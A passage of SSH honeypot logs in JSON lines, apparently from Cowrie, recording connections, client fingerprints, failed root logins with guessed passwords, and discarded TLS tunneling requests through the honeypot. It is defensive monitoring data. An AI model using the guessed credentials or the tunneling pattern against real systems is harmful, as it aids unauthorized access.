0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfes\\xb4\\x8e\\xf2AG\\xd8R\\xa7\\xe4\\x11lq\\xed]^\\x03\\xea\\xd9\\xd2\\xd8\\x96\\xdf\\xe9\\xef\\x98\\xf5\\x8c\\xa83\\xf2 \\x1bZ\\xc2\\x1b\\x08\\xc8\\xca:\\xed{\\xbau(\\xa2\\xa4C\\x8b\\xa4\\xc7j<\\x91\\x1b\\x8cKp\\x0f\\xe3h\\xd4\\xb8\\xd4\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x93\\xd5\\xd2\\x8a5_\\x05\\x88\\xae\\xeb.v\\xfa\\xb3\\x15\\x1f7\\x12`\\xde2I\\xea\\x87!7\\xfe\\xe9o^t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:12.077537Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23404,"dst_ip":"10.17.0.5","dst_port":22,"session":"0412fecd5de4","protocol":"ssh","message":"New connection: 45.153.34.195:23404 (10.17.0.5:22) [session: 0412fecd5de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:12.634759Z"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:12.642115Z","src_ip":"113.164.152.20","session":"f59d5a730662","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:12.656348Z","src_ip":"45.153.34.195","session":"0412fecd5de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:12.753246Z","src_ip":"45.153.34.195","session":"0412fecd5de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:13.065940Z","src_ip":"45.153.34.195","session":"0412fecd5de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:14.180441Z","src_ip":"45.153.34.195","session":"0412fecd5de4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:14.937936Z","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:14.990669Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\xef\\x92\\x92\\x9av\\xe8\\xbc\\x8a\\x02\\r\\xa0P\\x86C1S\\x80Yez\\xe4\\x13\\x1e\\xbf?'\\xb9\\xe5$\\xb0\\xc5 \\xa6\\x9d!\\xd1}\\t\\xc2\\x13\\xb9\\xdf\\x98x\\xa8\\xdc\\xe4\\xc9[\\x97\\xe4\\x93\\xf1\\xce'r\\x92\\xe7`&\\xde\\x96\\xcf\\xb2\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 x\\xfaY\\x918j\\xfa\\xe2@E\\x9c5\\xc5-r\\x91\\x9e\\x85\\xd5\\x98\\x92;Ot\\xfa\\n\\xba\\xc0\\xb3nLD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\xef\\x92\\x92\\x9av\\xe8\\xbc\\x8a\\x02\\r\\xa0P\\x86C1S\\x80Yez\\xe4\\x13\\x1e\\xbf?'\\xb9\\xe5$\\xb0\\xc5 \\xa6\\x9d!\\xd1}\\t\\xc2\\x13\\xb9\\xdf\\x98x\\xa8\\xdc\\xe4\\xc9[\\x97\\xe4\\x93\\xf1\\xce'r\\x92\\xe7`&\\xde\\x96\\xcf\\xb2\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 x\\xfaY\\x918j\\xfa\\xe2@E\\x9c5\\xc5-r\\x91\\x9e\\x85\\xd5\\x98\\x92;Ot\\xfa\\n\\xba\\xc0\\xb3nLD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:14.993841Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:15.168080Z","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:15.246301Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03LT@R\\xae\\xbf9\\xb3L\\x14\\x1f\\xa7\\xc6\\xcc5A\\xd5\\x90q\\xe63r\\x15F$\\xd7\\xa3\\x8b\\x8b\\xaa\\x03\\xe9 y6q\\x15q\\xfa\\x12\\xce>\\xb1\\xf2y\\x07\\xf0<\\x82\\xbe#\\xd1+\\x8e\\x1c\\xd6\\xe2\\xbd\\x04&\\xae#P\\x8e\\xe9\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x7f\\xd9\\xdd\\x8b-7\\x8a\\x04\\xa0\\x8b3\\x06\\x1b\\xce\\x08\\xd6\\x06aV\\xb5\\xdf\\x04\\x069-3\\x91\\x8a\\xcaWu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03LT@R\\xae\\xbf9\\xb3L\\x14\\x1f\\xa7\\xc6\\xcc5A\\xd5\\x90q\\xe63r\\x15F$\\xd7\\xa3\\x8b\\x8b\\xaa\\x03\\xe9 y6q\\x15q\\xfa\\x12\\xce>\\xb1\\xf2y\\x07\\xf0<\\x82\\xbe#\\xd1+\\x8e\\x1c\\xd6\\xe2\\xbd\\x04&\\xae#P\\x8e\\xe9\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4\\x7f\\xd9\\xdd\\x8b-7\\x8a\\x04\\xa0\\x8b3\\x06\\x1b\\xce\\x08\\xd6\\x06aV\\xb5\\xdf\\x04\\x069-3\\x91\\x8a\\xcaWu\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:15.249276Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23428,"dst_ip":"10.17.0.5","dst_port":22,"session":"62ef3545cc3b","protocol":"ssh","message":"New connection: 45.153.34.195:23428 (10.17.0.5:22) [session: 62ef3545cc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:15.366604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:15.449487Z","src_ip":"45.153.34.195","session":"62ef3545cc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:15.455199Z","src_ip":"45.153.34.195","session":"62ef3545cc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:16.064584Z","src_ip":"45.153.34.195","session":"62ef3545cc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:17.237666Z","src_ip":"45.153.34.195","session":"62ef3545cc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23458,"dst_ip":"10.17.0.5","dst_port":22,"session":"c92db1bbeb3c","protocol":"ssh","message":"New connection: 45.153.34.195:23458 (10.17.0.5:22) [session: c92db1bbeb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:18.316993Z"}
